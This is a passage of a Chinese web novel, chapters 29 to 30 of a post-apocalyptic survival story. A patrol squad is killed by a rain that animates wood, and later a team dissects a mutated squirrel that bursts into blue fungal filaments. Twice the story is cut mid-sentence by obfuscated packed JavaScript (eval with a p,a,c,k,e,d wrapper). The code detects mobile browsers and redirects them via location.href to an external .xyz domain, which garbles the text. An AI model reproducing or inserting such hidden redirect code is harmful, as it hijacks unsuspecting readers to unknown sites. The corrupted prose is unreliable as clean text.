穿过小溪,身上难免会沾染些血腥气,越往里走,路名觉得越来越多的蚊蝇虫蚁闻着血腥味围聚过来。顾忌蚊子体内来历不明的血,她每次都只是抬手驱散,行动速度也因此受到影响,慢了不少。 29. 巡逻站(8) 日暮黄昏,山林中淅淅沥沥下起小雨。 “我们先在这修整一会儿,等雨停了再走。”顾长推开小木屋的门,一层薄灰落下,覆在他脸上,沉闷阴暗的房间被微弱的光照亮。 “我照个光。”翁迟打开光脑的照亮功能,捂住鼻子,侧身让开一条路。 庄木一口痰梗在喉咙,刚走进去吸口气儿,直打喷嚏。 “房间潮湿,加上很长时间没人过来,这房间的味道真是绝了。从巡逻站过来的队员从来没来这里休息吗?这么多灰尘,全被我们吸了。”翁迟操着一口带方言味的脏话骂骂咧咧,连连往后退几步,依靠在门框上,正好瞧见牧云从屋外的走廊上转过来。 “你怎么从后面过来的?”他问。 牧云收起匕首,解开手腕上的束缚带重新系紧,边走边说,“去后面检查检查。这种房子还算常见,有些是后来建的,有些是旧时代的遗物。那些人发了疯的守护森林,就住在这种房子里。我们这房子四不靠,要不是下雨,没人会停在这修整。” “为什么?”翁迟双手抱胸,左脚脚尖点地,歪着身子探过去。 门很窄,他足足占了一半的位置。 顾长从屋里走出来,手掌按住翁迟的脑门往上提,将人推到一边去,“别挡路。” “你以前见过这种房子?”他问牧云。 “我认识这种雨。”牧云重新系好两只手的束缚带,从腰间取出一个指甲盖大小的铁片。她将铁片捏在手里,依次给其他三人看。这只是一片普通寻常的铁片。 在众人的目光中,铁片因摩擦受力在门柱上擦出一道痕迹,浅浅地嵌入朝外的柱面里。 不消片刻,雨水顺着柱子下滑,浸润铁片。 铁片迅速鼓胀、起泡、变形,外缘内凹,两角向外延伸,整体向内蜷缩。 “它变形了?”庄木瞪大眼睛,被这一幕吓住,愣在原地,反反复复重复好几遍这句话,声音时粗时细,喉咙里的痰上上下下,不得出路。 “抽象一点的说法,是‘化形’了。看过以前那些神经兮兮的小说吧,什么飞天走地,良禽座驾之类的,就是那个‘化形’。”牧云抽出腰间的枪,枪口对准狰狞的铁片,一枪爆头。 “出发的时候,基地检测过天气情况,这一带没有乌云,也没有大量积云,空气中湿度较低,不可能下雨。就算临时出现意外,为了保证那些猎人行动的安全,猎人工会一定会有所行动。但我们什么也没听见。上一次出现这种诡异的雨,正是人类巡逻站守卫线濒临崩溃的时候,也是一号基地诞生的契机。你们什么表情?高兴点,我们现在在文字里的世界。” 三个人沉默着,望着雨,听着雨水积聚在房顶上,顺着屋檐往下落的声音,仿佛听见催命的鼓声。 “那个,我没读过书,不懂化形的意思。能,能多说一点吗?”庄木小心翼翼开口。和翁迟、顾长对视过后,他抿了抿嘴唇,为自己拖后腿而感到焦虑。 巡逻站的任务难易相差极大,他一直以为自己运气不错,屡次全身而退,身手还算一般也能活得很好,直到现在,直到所谓的“化形”他一个字都听不懂,在牧云好心解释下,他仍旧像被人蒙住眼睛塞住耳朵摘掉脑子似的,一个人提心吊胆、心慌意乱。 他握紧拳头,暗暗在心里打气。能做好的,能活下去,他有经验。 “化形这东西不重要,就是个概念。”牧云想了想,换个说法,“这种雨可以从分子层面‘腐蚀’物体,不过速度很慢。其实腐蚀这个词也不准确,好像……目前还没找到精准形容这种雨水危害性的词汇。研究院没多少研究材料,结论大部分都还是沿用当年的。我只知道一点,它可以让死物变成活的,速度会因为体积大而变缓。幸好今天没风,我们四个一人一个方向守着,熬到雨停赶紧回去。” “得告诉71小队。”顾长打开光脑,却发现没有信号。 翁迟、庄木纷纷打开自己的光脑,光屏上信号一栏直接空了。他们也没信号。没信号,就联系不到其他人,无法求援。 雨还在下,这栋房子就是个孤岛。 众人意志低迷时,一声悠长无奈的叹息格外刺耳。 牧云深深地怀疑这支小队是不是除了她都是无证居民区的文盲,连基地最基本的历史常识都不知道,“这种雨会破坏通讯信号。红兽和赤晶的出现破坏基于电磁波发展的通讯手段。现在的通讯信号穿不透这种雨。要不然,当年巡逻站也不会全线崩溃。” “我守东面。”顾长快速收拾好情绪,做出决定。 “我就留在这。”牧云紧跟着说道。 庄木和翁迟对视一眼,没什么好犹豫和挑拣的,他们对自己的实力有个大概的认识,真遇到危险,怪异的雨水下,哪儿都逃不了。 “要怎么防止这栋房子被‘腐蚀’?”庄木问道。 “有比较锋利的武器吗?我手里的匕首算一个。”牧云见他们各自拿出匕首和短刀,用手上的匕首边说边比划,“如果看到木块出现刚才那种形状变异的情况,不用犹豫,直接割掉。它们‘腐蚀’物体的同时,物体的硬度也在变化。记住,速度要快。这东西就跟磁铁似的,‘腐蚀’越多越快,割断彼此之间的连接能延缓它的速度。” 简单科普后,四人各守一处,在屋檐下仔仔细细观察。 异变首先出现在地板的边边角角。雨水冲刷坑坑洼洼的土地,汇聚成大大小小的凹塘,木地板稍稍沾上一点边角,再浸泡一会儿,就会伸出张牙舞爪的肢体,细细长长的树在空中摇摆。 庄木提心吊胆地砍了一块又一块,好不容易可以缓口气。 “小心!” 他刚蹲下,一道惊呼声从旁边飞射过来,吓得他一激灵窜起来,只见眼前闪过一道白光,伴随点点黄色,紧接着是大片红色,红得让人发晕。 “止血,快止血!” “帮我这边顶一下!”牧云匆忙冲过来,抓住庄木随身携带的包,一把揪出里面的止血凝血剂,快速喷在庄木的脸上。 庄木感觉一阵一阵的眩晕感,脑子嗡嗡的,眼前渐渐发黑,呼吸不畅,整个人像是要死了。 “呼吸,用嘴呼吸!”牧云一边快速包扎,一边掰开他的嘴,迫使他清醒过来,尽快适应现在的身体状态,继续守住这一面。 三个人守门终归还是太勉强了。 顾长一刀割断从柱子中生出来的枝节,如同竹子一般,又直又长又细。他这一刀太快太急,刀陷进木头里,用力掰弄两下才拔出来。偏偏就是这须臾之间,一根枝节从房顶上直射下来,一举贯穿他的肩膀,他快速解决枝节,往墙面上退,寻找为自己治疗的机会。 “庄木,醒醒!” 庄木清醒过来,脸上的疼他无暇顾及,牧云急得满脸是汗他毫无感触,他满心满眼就只有一个念头:我,要死了吗? “醒了就起来,别放弃!”说完,牧云匆匆移动到翁迟的位置。 她接替翁迟,而翁迟赶到顾长的位置,一边分担点庄木那边的压力,一边给顾长争取时间疗伤。顾长处理完伤口,他也得处理伤口。 只是一面失守,他们就快要挡不住了。 “这怪雨还要下多久?我们不能死在这,不能。”顾长吐掉嘴里的血沫,咽下骂骂咧咧没说完的话。 他的身体注射过很多药物,有很高的抗药性,对陌生的药物也更敏感。他能感受到身体里有一种新的、强烈的毒素在破坏身体机能。打不过敌人,救不了自己,是他们这些人经常面对的困境,习惯了,也绝望了。 “据说,据说上次是一个小时。”牧云大喊一声,脚下一滑,摔在地上。 她不知道是雨越下越大,还是她的体能即将告罄,只有越来越多的伤口,越来越多的雨水,步步逼近的怪物和缺口的匕首在提醒她,一切还没结束,她还可以,还可以撑下去! “一个小时?”翁迟简直不敢相信自己的耳朵。 这才不到一刻钟,他们就要全军覆没了,一个小时,一个小时任由雨水冲刷,这个木屋……35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15815729|172661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他下意识看向另一侧,悲从中来。 雨帘中,庄木的身体半靠在木桩上,无数枝节贯穿他的身体,刺破血肉,粉碎筋骨,将鲜嫩的肌肤同化为枯槁的木质。 三分钟前,庄木被第一根枝节贯穿,他只哼出很轻的一生,第二根、第三根、第四根……数不清的枝节在眨眼间将他的脖颈贯穿,扎成一个球。那些枝节仍不满足,吞噬他的骨骼,搅碎他的经脉,尚未硬化的皮肤不断鼓起一个个时而变大时而变小的疙瘩,移动着,翻滚着。 翁迟无法忽视庄木的背影,他们离得太近、太近了,他望着,盼着,希望这场雨早点结束,只要房子不被完全腐蚀,一切还来得及。他还能活着回去。 一个小时的雨,他回不去了。 淅淅沥沥的雨中忽然传来一道撕心裂肺的怒吼,牧云和顾长同时察觉不对劲,他们各走一边,先后看到庄木木质化的身体,在雨中狂奔的翁迟。 翁迟的脚步越来越慢。 牧云顾不上他,两面失守,两人挂彩,她和顾长只能尽力抵挡,延长时间。活下去?大概率是不可能了。 倏然间,一阵窸窸窣窣的异动从地底向上窜,速度极快,引得房子晃动,连丛生的枝节也慢下来,一个接一个从地板、墙壁、天花板这些地方掉下来。 牧云和顾长对视一眼,一起转身,毫不犹豫跳进雨水里。 几乎是他们双脚离地的瞬间,房子分崩离析,转瞬间变成一个有手有脚的怪物。怪物拔地而起,挺着脑袋四处张望,两只撑在地上的“胳膊”上延伸出无数藤蔓,以迅雷不及掩耳之势缠住慢一步的顾长的脚腕,用力向后拖。 顾长将短刀扎进大地,一步步向前一小步、向后一大步、向前一小步…… 雨水落在身上,他没有知觉,双腿被缠住,他毫无痛感。没关系,没关系,他告诉自己,和之前一样就行,和之前每一次注射新药时一样,这就是一场噩梦,只要突破自我,只要熬到最后。 只要醒过来,他就还活着。 牧云一把抓住翁迟的手,将他拽起来。猛然回头,她看到越来越大的怪物在贫瘠的土地上横扫一切,看到被吞噬的满脸鲜血的顾长伸出来的手,看到神色僵硬的翁迟保留着最后疯狂的模样…… 雨还在下,一切都结束了。 * 路名仰头望了望天色,黄昏褪去,夜色降临,万顷无云,干干净净。奇怪,她刚才有好几次心悸,似乎有不好的事情追在后面。 “好高的天。”郑山仰起头,用纯粹的语气赞叹道。 看他这副样子,路名第无数次发自内心的希望那位素未蒙面的木羽是个高智商人才,不然,他们这支小队,一个疑似代刷客的拒绝沟通小屁孩,一个身体很爷们内心很宝宝的天真烂漫小屁孩,一个颓丧内耗的犟种,再加个性格稀奇古怪有危险就上的人,要是拉个数值图,别的不知道,智商怕是不超过一格。 小队的未来,掌握在木羽的手中! “就差一点了,从前面转过去,就到木羽附近,我们尽快过去吧。”话刚说完,路名捕捉到一个小石子儿朝自己这边猛射过来。 她想都没想,视线聚焦的同时,起手准备,一把握住石子儿。 石子儿很小,大概就一指甲盖的面积。整体圆润,握在手里不硌人,棱角极少。这个石子儿被人为磨过! “小心,有东西靠近。” 经过泰林那群疯猴子,见识过有智力的红兽的危险性,路名已经很难将人随意定义。在这片地方的,除了他们两个,除了木羽,很可能有智力已开的红兽。猴子?熊?松鼠?无论大小,无论能力,一个都不能忽视。 与此同时,D3区巡逻站。陈峰,陈老爷子在一遍遍重新检测范围内的各项数据。他的心跳得很快,但数据却是一切正常。 第六遍,数值还是一片绿色。 陈老爷子站起来,走到后面的休息室,从角落里发出崭新发光的箱子,解开锁,掀开盖子。箱子里是整整齐齐七支药剂。 30. 巡逻站(9) 路名紧紧握住短刀,慢慢拔出来,另一只手蓄力,将石子儿按原来的路径丢回去。 “咚”,石子儿碰在石壁上,发出一声脆响。 紧接着,是东西摩擦的声音。 顾长脸色一喜,拨开丛丛掩映的灌木,“我们在这。木羽,这边。”他从灌木丛中跨过,伸手拉土坑里的木羽上来。 “速度挺快。”木羽不咸不淡说了句,算是表扬。 顾长咧着嘴笑。 “这是新队友?”见路名主动走过来,木羽点头示意,“我叫木羽,应该还有个队员吧?他在哪儿?” “他没跟过来,在附近巡逻。”路名蹲在树下,拨开植被,露出黑中带蓝色丝状物的土壤,心里直犯恶心,站起来抬脚拨弄两下,就当没看见。 人找到了,真想早点回去。 “我们现在不能回去。这里是防守线的突破口,我来探查,顺便解决掉两个红兽幼崽。”木羽一边收拾系在腰上的绳索和带血的飞刀,一边说。 得到顾长的赞同后,她走到路名身边,开口问道:“你是第一次来巡逻站?” 路名点点头,补充一句:“我不是代刷客。” 代刷客……这孩子,意外的执拗呢。木羽这样想着,说话的语气没什么变化,“代刷客是那些人的游戏。在这里,你的任务是坚守巡逻站的防守线。巡逻站占地广阔,防守线会不会松动取决于对面那些猎人的行动。我们需要守在这里,直到行动结束。” “那我来联系徐人。”顾长点开光脑,屏幕跳出来的瞬间,光脑突然一黑,彻底报废。 路名心里一惊,下意识护住手腕上的光脑。她这个光脑来之不易,可不能说碎就碎了。她深吸一口气,小声问:“光脑没有信号了?刚刚还能用的。” “你们能在这里用光脑?”木羽迅速拔出飞刀,扫视四周。 一片寂静后,她稍稍挪动脚步,整理一团乱麻的思路,慢慢理出话头,“你们不是凑巧找过来的吗?” “是小队的定位带我们来的。”就算再迟钝,顾长和路名都察觉到不对劲。 “我的光脑刚进来就被红兽偷走了。我杀了那只松鼠,但光脑却没找到。当时我以为光脑掉进水渠,被水流冲下去。”木羽轻声细语地解释,目光如炬,一寸一寸扫过周围。 她根据回忆迅速锁定可疑点,视线在周围郁郁葱葱的树干上来回扫视。 现在想来,当时那只松鼠形单影只,胆子却大得很,一眨眼就偷走她的光脑,行迹非常可疑。 “我找到了。别动。”路名轻声提醒另外两人。 她悄悄摸摸爬上树梢,从包里摸出一截线头。这是之前衣服划破扯下来的,团吧团吧扔包里没舍得丢。她掐住线头,慢慢揉捻,捏出一个圈,悄悄放在一簇长满毛的果子丛中。这一枚“果子”扎在十几个果子中间,凑近了才能发现它是不是极轻微的晃动一下。 做完这些,路名悄悄从树上下来,慢慢拉紧线头。 “嗖——”松鼠有所警觉,快速奔逃。 木羽一个箭步冲出去,上半身低伏在地上,如同一辆踩足油门的赛车,轻轻松松一个漂亮的转弯,成功截住松鼠的去路。 松鼠头一转,换个方向迂回前进。 顾长扑过去,迫使松鼠不得不再次改变方向。 线团的长度有限,路名捏着线头,在木羽和顾长接连拦住松鼠却不抓它之后,落实心中的猜测,这才用力一拉,将松鼠拽倒在地。 “难得捉到一只活的,我没带限制器。”木羽啧啧惋惜道。 “我也没带。”顾长挠挠头。 路名压根不知道“限制器”是什么,略微猜一下,大概是限制红兽行动的东西。眼下,这只红兽可用不着限制行动。 “你为什么刚开始不把它拉下来?我看你那绳子还挺结实的。”木羽提着松鼠的后颈,悬在空中晃悠。 路名接过松鼠,仔细端详。爪子比以前在书上见过的锋利,身上的毛也很扎人,一不留神就会留下一道血痕,最显眼的是眼睛,这只松鼠的眼睛是红色,贴近看,可以看到大大的瞳孔里呈细密丝状分布的血丝。 “我之前去过泰林,作为预备研究员的护卫队。我跟着预备研究员遇到过一群猴子,行为怪异,在保留动物原本的行为逻辑的同时,丧失一部分野生动物的野性。当时,那位预备研究员将那种猴子认定为特殊的红兽,取样后带回基地研究。” “你什么意思?”木羽有种不好的预感。 只见路名拿出短刀,一刀剖开松鼠的腹部,在喷涌的鲜血中寻找肠道的位置,将管状器官挨个划开,一一检查。她记得当时宋何正解剖红颜猴,那些猴子的胃里压根没有食物。 “活的红兽很值钱。”顾长一脸惋惜,守在一旁小声嘀咕。 “别松懈。”木羽撇过去一眼,沉声道。她环视四周,听到风声中鲜血喷涌、刀割血肉的声音,感受心脏扑通扑通的跳跃,不自觉开始紧张起来。 “找到了。”路名剖开一根粗长的肠道,露出里面密密麻麻的腐叶,心一下子揪起来。 “这是什么?红兽的屎?”顾长只看了一眼,略带厌恶的移开视线。 他的喜恶一向摆在脸上,直来直去。 木羽捏起树下的腐叶,尽可能多辨认几种不同形状的叶子,和肠道中的叶子一一对比,“它吃地上的腐叶?” 大自然的进化让人类对森林望而却步,在最初的一段时间,森林的生态因此得到极大地改善,物种的延续、繁衍如井喷式进行。如今,森林中陆陆续续连续一年都会有不同植物开花结果,四季不休。松鼠不愁吃的,怎么可能会吃腐叶! “我刚开始也只是猜测。”路名斟酌一会儿,说出自己的看法。 “我遇见的红兽,或多或少都有点智慧,能感受到它的攻击猎物和保护自己的行为逻辑。但是,在泰林里,我遇到的猴子就像这只松鼠,它们的智力足以借成熟的果实掩藏自己,而逃跑时却只遵循一个方向,就像前面只有一个目的地,或者说,它只能去一个地方。” “你怀疑有东西引诱它们汇聚到一个地方?”木羽双臂环抱在胸前,冷着脸思考。 汇聚到一个地方?哪有这么简单! 路名轻笑一声,“你是不是在想我刚刚收线太早,没能一窝端了它们。” “你的线未必有那么长。”有之前的探查经验,木羽很清楚这片森林究竟有多大。就靠一根线追踪喜欢七晕八绕的红兽的下落,顺利探寻到它的老巢?简直是痴人说梦! 路名望着远处,沉默了好一会儿,才慢慢说道:“不只是线的缘故。你的光脑丢失,我们却能根据光脑的信号提醒一路追踪到这里,不觉得很恐怖吗?这里是防守线,隔壁是需要很多猎人拿命去守护的地方,最安全也是最危险的地方,这里出现一个意料之外的人的可能性有多少?” “不可能。”木羽斩钉截铁道。 “这片土地上理应有八个人,除了我们三个,另外五个都有嫌疑。如果没去过泰林,我一定会怀疑这些都是人为。但现在,我倾向于另一种可能性——我从始至终遇见的,都是同一只红兽。”话音刚落,路名鸡皮疙瘩都起来了。 她没有恐吓木羽,这一切都是她的猜想。 从这里到泰林有多远呢?木羽在课堂上听老师讲过,来回这两个地方,最快的方法是穿梭整个城市,正好经过斜对角线。 “红兽?人的概率更大一点才对吧,有人跟踪我们……不对。进出基地需要准许,单独来回前往需要时间,而且为什么单独是我们?应该是‘正好是我们’,这样算,活动范围更大……”她一琢磨,发现能做到这些的,更不可能是人了。 难道真是红兽? 这得是什么样的红兽? “我们将这个带回去,说不定多一个实验样本,研究院能尽快得出结论。”路名伸手去提那只开膛破肚的松鼠。 刚拎起来,松鼠的身体微微抽搐。 路名骤然有种不妙的感觉,赶紧将这东西甩出去。 还在空中时,这只松鼠“砰”一声炸开,血液溅落在四周,三人虽然挡住了脸和手等裸露在外的皮肤,但衣角、裤脚这些地方无法幸免。 蓝色菌丝状的东西爬满入目所及所有地方,路名心里一顿,一点陌生的灵感一闪而逝。 “快清理这些东西!”顾长从装备包里拿出一袋绿色的液体,小心翼翼清理衣服上沾染的蓝色菌丝状物体。溶液一碰到这些恶心的东西,立马将它冲掉。 背后看不到的地方,顾长用镜子照着慢慢清理。 余光一扫,他看到路名蹲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15827413|172661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在地上,手上只有一把刀,完全没有要清理的意思。就在这时,木羽冲过去,将小半袋溶液小心翼翼倒在路名的衣领上,冲掉正在蠕动的蓝色菌丝状物体。 “她没有清理液,你省着点拿过来。”木羽冲他喊道。 路名静静地看着两个人忙前忙后,小声道谢。从始至终,她都没想过这两人会帮自己。她压根不知道那个液体是什么,当然也没有准备,被蓝色菌丝状物体沾上的一瞬间,她有些慌乱,很快又安定下来,她束手无策,又有那支特殊的溶剂在身体里,说不定可以挡一挡。 抱着这种紧张又听天由命的心情,她蹲在地上看蓝色菌丝状物体蠕动的样子。 “你们之前见过这种东西吗?” “没有。”木羽干脆利落地回答,“我们甚至都没试过自己给红兽开膛破肚。” “为什么?” “你没听说过吗?活的红兽价值‘万两金’,黄金是旧世界的货币单位,这个说法就是为了表明活的红兽相当有价值,能换到很多积分,也可以得到工会、学院的另眼相看。活的红兽,可以是另一种货币体系。” 听完木羽的解释,路名心痛了,仿佛听到哗啦啦金币擦肩而过的冷漠声音。 “哎~我可能这辈子都得和贫穷打交道了。” 顾长拍了拍路名的肩膀,意味深长地说:“巡逻站有一句流传的古话,‘要有钱,先没命’。我们穷,但我们还活着。” 路名:……这不是冷笑话吗?这能当真吗? 木羽察觉到气氛瞬间的僵硬,咳嗽两声,换个话题,“我们先回去,找陈老爷子问问这事儿怎么办。隔壁太危险,猎人们很多都过去了,研究院那些有名的研究员不一定肯过来实地取样。” “他们肯定不敢来。”顾长的语气十分肯定。 路名想起宋何正又怂又努力勇敢的样子,感觉研究员来这里可能性未必是零,“这里出现新的东西,涉及到泰林里的红兽,说不定会有研究员过来。” “有很高的概率是预备研究员。”木羽拎着最后一点溶液,上上下下检查路名衣服上是否有残留的菌丝。 “预备研究员不行吗?” “预备研究员和见习猎人一样,是研究员和猎人的炮灰。你参加过护卫行动,应该见过吧,无证居民区的人被那些预备研究员设计、下药,做成实验体。预备研究员和见习猎人说起来高人一等,在研究员和正式猎人面前,其实差不多。他们来这儿取到的样本不一定在容器里,说不定在自己身体里。每一个见习猎人在毕业前都会撕掉一份合同,那份合同和研究院直接挂钩,据说,如果有必要,研究院可以指明让某个见习猎人去做实验。”说到这些,木羽的语气有些唏嘘。 “见习猎人去做实验体?他们的家人同意吗?”路名越发觉得这些规定过于离谱。 预备研究员就是战五渣,一不小心被红兽咬一口,身边的见习猎人和护卫队保护不及时,出现疏漏,还算合理。 见习猎人去做实验体,他们的家人不会闹吗? 这些人一个个都是有户口有家庭的。少个孩子,家庭不就分崩离析了。 “怎么不同意?所有小孩都是家长经过资格验证才能从太阳园领走的,只有被领养的孩子才能进入学院上学。签署这种协议,基地会给家庭发放一定的积分,作为补偿和养育孩子的补贴。那些孩子也以此为荣。这是双赢的好事。”木羽掸去路名衣服边缘的水珠,松口气,语气也欢快不少,“好了,你身上的都弄干净了。” “谢谢。”路名还是无法理解这份协议订立的意义。 在这个充斥着危险、意外和不公的世界里,基地保护人类,延续人类的文明,却让死亡成为一把刀,锯断家庭和未来的联系。这也是系统优化后的结果吗? “走,我们去找陈老爷子。” “我们不应该立即联系基地吗?从这里走会巡逻站的据点,要很久吧。”路名边走边问,是不是分神看看顾长有没有跟上来。 从他们遇到蓝色菌丝状物体开始,顾长就主动走到后面,时刻防备着。 “……相信陈老爷子。”木羽想了想,认真地说:“路名,不要过分信任基地。对基地而言,我们只是守护它的一个工具。等你在巡逻站呆得更久一点就会明白,你首先得是你自己。”